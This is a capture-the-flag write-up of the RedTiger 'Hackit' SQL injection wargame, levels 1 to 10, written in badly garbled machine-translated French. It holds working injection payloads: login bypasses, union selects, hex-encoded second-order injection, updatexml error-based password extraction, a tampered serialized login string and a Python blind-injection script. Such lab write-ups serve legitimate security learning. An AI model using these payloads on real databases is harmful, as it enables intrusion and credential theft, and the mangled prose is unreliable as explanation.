annuaire
Hackit de RedTiger
Je wp est comme moi question l'idée d'écrire directement, non seulement d'apprendre, mais aussi de revenir plus tard quand examen des erreurs peuvent être tirées des leçons précédentes ou des idées de quelques idées intelligentes.
Il y a quelques jours seulement appris l'injection sql, aujourd'hui le site de la consolidation
niveau 1
Tout d'abord est vraiment un peu ignorant x, avec une rediffusion burp lorsque l'erreur # 400 est automatiquement supprimée puis (elle ne trouve pas), puis est allé essayer les aveugles, le résultat d'un aveugle booléenne réalisable? ? ? Je pense que la première question est pas si difficile de le faire, allez dans les autres prochaines wp, pour constater que j'étais le # burp mangé. . .
question faire le processus ou le premier bit d'écho de mesure (sur le terrain):
Ensuite , suivez les instructions directement dans la table level1_users
pour obtenir le nom d' utilisateur et mot de passe
J'ai essayé aussi fondit nom de la table, mais group_concat, concat, limite sont à l'interdiction
niveau 2
Cette question est un indice: Etat ne comprenait pas ce que cela signifie = =
Ou le premier entre guillemets, pour voir si une erreur a été trouvée dans le mot de passe Ajout d'entre guillemets se plaindra
Mais seule erreur, ne pas l' écho, et ensuite la fonction de recherche de l'erreur mysql_num_rows()
et l'a trouvé le nombre de lignes à renvoyer Regrouper les résultats, pensez au nombre de lignes est de déterminer si le mot de passe de compte correspondant puis penser à cette question ,,, il est un by - pass de connexion simple, si un mot de passe universel direct « ou 1 = 1 #
niveau 3
La troisième question, cette question a donné conseil: essayer d'obtenir plus tard une erreur, mais n'a pas pu trouver un point d'erreur, essayez plusieurs fois en vain, sur les prédécesseurs wp pensaient que je voyais une méthode, en passant dans le tableau, qui est,usr[]=xxxxxxxxx
Erreur dans un fichier donné, open source à l'intérieur il
<?php
// warning! ugly code ahead :)
// requires php5.x, sorry for that
function encrypt($str)
{
$cryptedstr = "";
srand(3284724);
for ($i =0; $i < strlen($str); $i++)
{
$temp = ord(substr($str,$i,1)) ^ rand(0, 255);
while(strlen($temp)<3)
{
$temp = "0".$temp;
}
$cryptedstr .= $temp. "";
}
return base64_encode($cryptedstr);
}
function decrypt ($str)
{
srand(3284724);
if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
{
$str = base64_decode($str);
if ($str != "" && $str != null && $str != false)
{
$decStr = "";
for ($i=0; $i < strlen($str); $i+=3)
{
$array[$i/3] = substr($str,$i,3);
}
foreach($array as $s)
{
$a = $s ^ rand(0, 255);
$decStr .= chr($a);
}
return $decStr;
}
return false;
}
return false;
}
?>
Évidemment, ceci est le cryptage du code php et le déchiffrement, puis d'injecter les déclarations lancées pour chiffrer sur la ligne, puis présenter les résultats. . .
Mon php ne sais pas quel est le problème, le code crypté est incorrect (Admin cryptage ne sont pas sur la même) = =, pour quelques versions de travail sera pas, a dû aller à copier, l'idée est la même
Essai sur le terrain et l'écho-bit
usr=MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg3MjA4MTAxMTg0MTQyMDA5MTczMDA2MDY5MjMyMDc2MTc2MDc0MDM4
usr=MDkwMTQ0MDY3MTcwMTQwMjI0MTQ0MDg2MTMwMTE0MTg0MTQ0MDc2MTcyMDExMDY5MjM4MDc3MTc1MDcwMDYyMTk5MjM1MjE5MDgxMjQ2MTUyMjA4MTc4MTEx
nom d'utilisateur et mot de passe d'explosion
usr=MDkwMTQ0MDY3MTcwMTQwMjI0MTQ0MDg2MTMwMTE0MTg0MTQ0MDc2MTcyMDExMDY5MjM4MDc3MjMyMDI1MTA0MTUzMTc3MTUwMDA5MTkxMTMwMjA3MTY5MTIwMTUzMTk3MDQwMTA0MTc3MTQ5MjA5MTg0MTEzMDU0MTgwMjA4MTE4MjE4MTcwMTc4MDE1MTk4MDAyMTQ2MTE1MDcwMTQzMTU0MDI3MDE3MTY1MTY0MDQ3MDM2MDgwMjIzMDQ4MDc5MTI1MTAxMTA3MTU1MTQ2MDk0MTU0MjAyMDY4MDMyMjIzMTQ3MDYzMDM1MjE4MDE3MDM1MTQzMDk3MjAyMjAzMDc1MTE1MTgyMDQ5MTgy
niveau 4
Je l'ai testé et trouvé un aveugle booléenne
Jeté course sqlmap, le résultat n'a pas pu être déterminé le type de base de données sqlmap? ? ? A semblé confus, il n'y a aucune raison trouvé.
Nous avons dû écrire leur propre script (Ce code est de moi ce WP Copy dans plus = =)
def get_flag_length():
sql = 'if((select length(keyword) from %s limit 0,1)=%d ,1 , 0)'
sql_url = baseurl + sql
flag_length = 1
for i in range(0, lll):
while flag_length:
print(flag_length)
res = requests.get(url=sql_url % (table_name, flag_length), headers=headers, proxies=proxy)
if flag in res.text:
return flag_length
flag_length += 1
if flag_length > 200:
table_length = -1
break
def get_flag_name():
sql = 'if(ascii(substr((select keyword from %s limit 0,1), %d, 1))=%d, 1, 0)'
sql_url = baseurl + sql
flag_name = ''
for no in range(1, flag_length + 1):
for x in range(1, 200):
res = requests.get(url=sql_url % (table_name, no, x), headers=headers, proxies=proxy)
if flag in res.text:
flag_name += chr(x)
print(flag_name)
break
else:
print(x)
continue
print(flag_name)
print(flag_name)
return flag_name
Enfin obtenu le drapeau
Dormir, faire demain
niveau 5
Cette question interdire la sous-chaîne, substr, "", mi
indice: pas aveugle, les mots de passe sont cryptés md5, erreur de connexion observée
Selon soupçon, faisant écho au bit de connexion mauvais endroit, la spéculation est une injection d'erreur
citations nom d'utilisateur erreur
Cette fonction est parlé à l'avant, est le nombre de lignes à renvoyer Regrouper les résultats, ce qui devrait être l'élément de données correspondant le nom d'utilisateur de requête, puis prendre le résultat de la requête de la valeur md5 et md5 (mot de passe) comparaison, l'estimation précédente erronée ( ne serait pas donné l'injection), mais union select by-pass
Les principes du code est probablement:
$con = mysqli_connect(xxxxxx)
$sql = "select * from table where username = ".$_POST["username"];
$result = mysqli_query($con, $sql);
$row_number = mysql_num_rows($result);// 返回查询结果的行数
if($row_number > 0){
$row = mysql_fetch_assoc($result);// 将查询结果转换为关联数组
if($row["password"] == md5($_POST["password"]))
echo $flag;
}else
echo "Login failed!";
Confirmé Je pense, ici sélectionnez 1 et 2 ont remplacé les résultats de la requête dans le nom d'utilisateur et mot de passe, mais ne correspond pas à
Sélectionner le nom d'utilisateur configuré union = toute valeur 1 password = md5 (valeur arbitraire 2), puis le mot de passe post-data = une valeur quelconque dans 2
bingo!
Juste exactement repas de riz, juste fini ses devoirs premier repas aujourd'hui et continuer à finir le travail
niveau 6
Voir url, il y a des paramètres utilisateur, ajouté une citation, une erreur, ce qui suggère mysql_fetch_object (), pour vérifier un peu, le rôle et la fonction de mysql_fetch_assoc () comparer des choses comparables,
Pour l'utilisateur test = 5 aucun résultat
Cependant, user = 5 ou 1 = 1 y écho, spécifient la présence du point d'injection
Aucune idée, une ligne de chaîne et de boire le soir, pas pour hier, regardez demain
Coussins pendant plusieurs jours, et aujourd'hui ces finition du foie il
Déterminer le champ de numéro (bit d'écho)
Trouver la position echo nom d'utilisateur
Mais peu importe où aucun mot de passe Echo
Wp est allé voir quelqu'un d'autre, être trouvé injection secondaire (requête), emmmm, je ne l'ai pas appris l'injection secondaire, il suffit de travailler le problème que d'apprendre les nouvelles connaissances.
Code de base pourrait être que la source
$sql="select username,password from level6_users where id=1";
$result=mysql_query($sql) or die('<pre>'.mysql_error().'</pre>');
$row=mysql_fetch_row($result);
$username=$row1[1];
$sql2="select username,email from level6_users where username="."'".$username."'"
Voir le code, l'idée est très claire.
La seconde est la requête avec identifiant de nom d'utilisateur pour la requête, puis utilisez le nom d'utilisateur pour interroger le nom d'utilisateur et email
Il est donc nécessaire pour atteindre les conditions suivantes:
- Les résultats ont un utilisateur de requête nom d'utilisateur admin / status = 1
- requêtes secondaires peuvent exporter leur mot de passe de compte
Puis, comprenant une première requête de statut nécessite une structure syndicale 1 = Le résultat du retour de l'utilisateur
5 union select 1,username,3,4,5 from level6_users where status=1
Où le champ de nom d'utilisateur est nécessaire déclaration couture sql2
username=' union select 1,username,password,4,5 from level6_users where status=1 #
Si l'épissage direct dans le cas, les citations se plaindra
5 union select 1,' union select 1,username,password,4,5 from level6_users where status=1 #,3,4,5 from level6_users where status=1
Il doit être injecté dans le codage hexadécimal
5 union select 1,0x2720756e696f6e2073656c65637420757365726e616d652c70617373776f72642c332c342c352066726f6d206c6576656c365f7573657273207768657265207374617475733d312023,3,4,5 from level6_users where status=1
Essayez de trouver bit écho email 4
charge utile de réglage
5 union select 1,' union select 1,username,3,password,5 from level6_users where status=1 #,3,4,5 from level6_users where status=1
5 union select 1,0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d312023,3,4,5 from level6_users where status=1
niveau 7
Au nom de la table level7_news, les noms de colonnes autor (il ne doit pas être l'auteur)
Laissez requête posté nouvelles de Google et le nom de l'auteur
interdire les commentaires, substr, substring, ascii, mi, comme
Rechercher Google, il y a une nouvelles, décidée à se faire à cet auteur
Ensuite, il y a une erreur entre guillemets
instruction SQL:SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%google'%' OR text.title LIKE '%google'%')
Il y a deux arguments ce point, afin de pouvoir construire un avant et après les déclarations de clôture
SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%'='%') union select autor from level7_news and ('%'='%' OR text.title LIKE '%'='%') union select autor from level7_news and ('%'='%')
'='%') union select autor from level7_news and ('%'='
Mais encore une erreur, regardé sous un text.title là, considèrent que leurs idées peuvent se tromper, emmm, il peut y avoir aucune interdiction au large des commentaires, après avoir été donné afin que vous puissiez faire face à la dernière partie de la question, essayez de connaître quelques commentaires Fu, ont été l'interdiction, et de rechercher l'autre, -% a0 peut alors mesurer la position de l'écho
1%') union select 1,2,3,4 from level7_news --%a0
charge utile: 1%') union select 1,2,3,4 from level7_users --%a0
Obtenez le drapeau
niveau 8
Le but est d'obtenir le mot de passe administrateur pour modifier la boîte, la spéculation est injectée dans la mise à jour, erreur try, Email d'erreur cité au moment, ce qui indique la présence du point d'injection
Le contenu donné, le champ cis est déterminé à trouver l'instruction SQL comme E-mail, ICQ, Âge
Lire l'utilisation prochaine mise à jour
UPDATE table_name SET field1=value1, field2=value2 [where clause]
Devinez déclaration sqlupdate table set name='x',mail='x',icq='x',age=x where id=1
Le mot de passe est inséré dans le champ Adresse électronique sur la ligne
', Email="asd"
Cependant, ces champs sont en cours « » entouré, aucun moyen d'effectuer dans l'instruction SQL, observé un moment, trouvé âge n'est pas entouré par des guillemets, mais il est un champ Int type, donc la pensée ont été injectés avec une longueur et ascii, emmmmmm, la question est, de trouver des nom de la bibliothèque, les noms de table, les noms de terrain, devrait être une interdiction, pas les sites d'essai. Mais cette idée est peut-être vers le bas, peut-être utilisé plus tard pour obtenir.
Considéré sous wp, ce test est que le champ du même élément de données peut être affecté à l'autre, tels que A1 = A2
Donc, la charge utile:',email=password,icq='
Aujourd'hui, en pensant à cette question, pensez erreur d'injection UpdateXML, essayez la prochaine découverte peut éclater, mais toutes les méthodes pour vérifier les noms de base de données sont sur l'interdiction
hans@localhost' or updatexml(0x7e,(version()),0) or '
niveau 9
Le but de cette question est d'obtenir le mot de passe de compte de tout utilisateur
Pour le nom de la table level9_users
Donne des conseils Cette question est aveugle pas, vous pouvez obtenir Echo
Pour une boîte de requête, l'article doit être une requête, le nom, le titre et le texte de trois parties
A côté de citations, citations trouvées dans le corps de Riga se plaindra, ce qui indique le point d'injection de présence
Selon le résultat d'une erreur, devinez instruction SQLselect * from level9_users where title=xxx and (name like '' or title like '' or text like '')
phrase construction111') union select 1,2 from level9_users #
Des notes ont été trouvées à l'interdiction, et pour d'autres gestes jugés, -% a0 possible
Vérifiez la fonction suivante, probablement le résultat de la mise à jour avec la fonction de retour sprintf (cité raison donnée est placeholder% Nombre fermé causes incompatibles s)
mise à jour???
Essayez injection d'erreur UpdateXML
' or updatexml(0x7e,(version()),0) or '
Succès!
' or updatexml(0x7e,(select group_concat(username) from level9_users),0) or '
explosion Nom d'utilisateur
Mais il n'y a pas d'erreur! ! ! Peut-être la valeur null, essayez d'abord le mot de passe
' or updatexml(0x7e,(select group_concat(password) from level9_users),0) or '
Mot de passe d'explosion
emmmm, comment ne veulent pas voir la réponse, essayez d'abord
À l'invite, signifie probablement que l'utilisation de constante indéfinie? Regardez la force ignorante, vous devriez aller mal
emmmmm, je suis retourné à lire le document suivant, la fonction trouvé prinf () est donné insertion, pas l'opération de mise à jour
sprintf("INSERT INTO listing (name, title, text) VALUES (%s,%s,%s)", $name,$title,$text;
Est mis à
sprintf("INSERT INTO listing (name, title, text) VALUES ('$name','$title','$text')";
Lorsque insert dans, ce dernier couvrant l'ensemble avant des données peut être un ensemble de données, etc. sur une question
structure Payload
'),((select username from level9_users),(select password from level9_users),'
Ce type de réflexion est important, les données peuvent être utilisées pour couvrir les premières données
niveau 10
Cette question est sur un bouton de connexion, avec une capture burp
Il y a une chaîne de caractères, prendre decode
Php doit être des objets sérialisés, suivez les instructions, connectez-vous pour utiliser Le Maître
Tentative de connexion échoue
Aussi essayé beaucoup de posture, ont échoué, = = Je ne suis pas très familier avec la sérialisation php et de-sérialisation, voir le wp, a trouvé seulement besoin de définir un mot de passe à une valeur booléenne 1.
charge utile =login=YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=&dologin=Login
résumé
L'efficacité est très faible ces jours-ci, mais a insisté Hackit de RedTiger fait. Beaucoup de connaissances des récoltes et des idées, mais aussi la perception de certains concept de sécurité. Ces bribes de connaissances sont nécessaires pour revenir en arrière et soigneusement la finition polie, en particulier dans le processus de problèmes, faire comprendre sa connaissance d'un grave manque de connaissance de la quantité, savent trop peu, trop peu. Encore faut-il jouer douzième de l'esprit, avancer d'un pas aller. La sécurité routière sera très difficile, mais aussi très heureux. Le stimulation devant la ligne qui est mon rythme.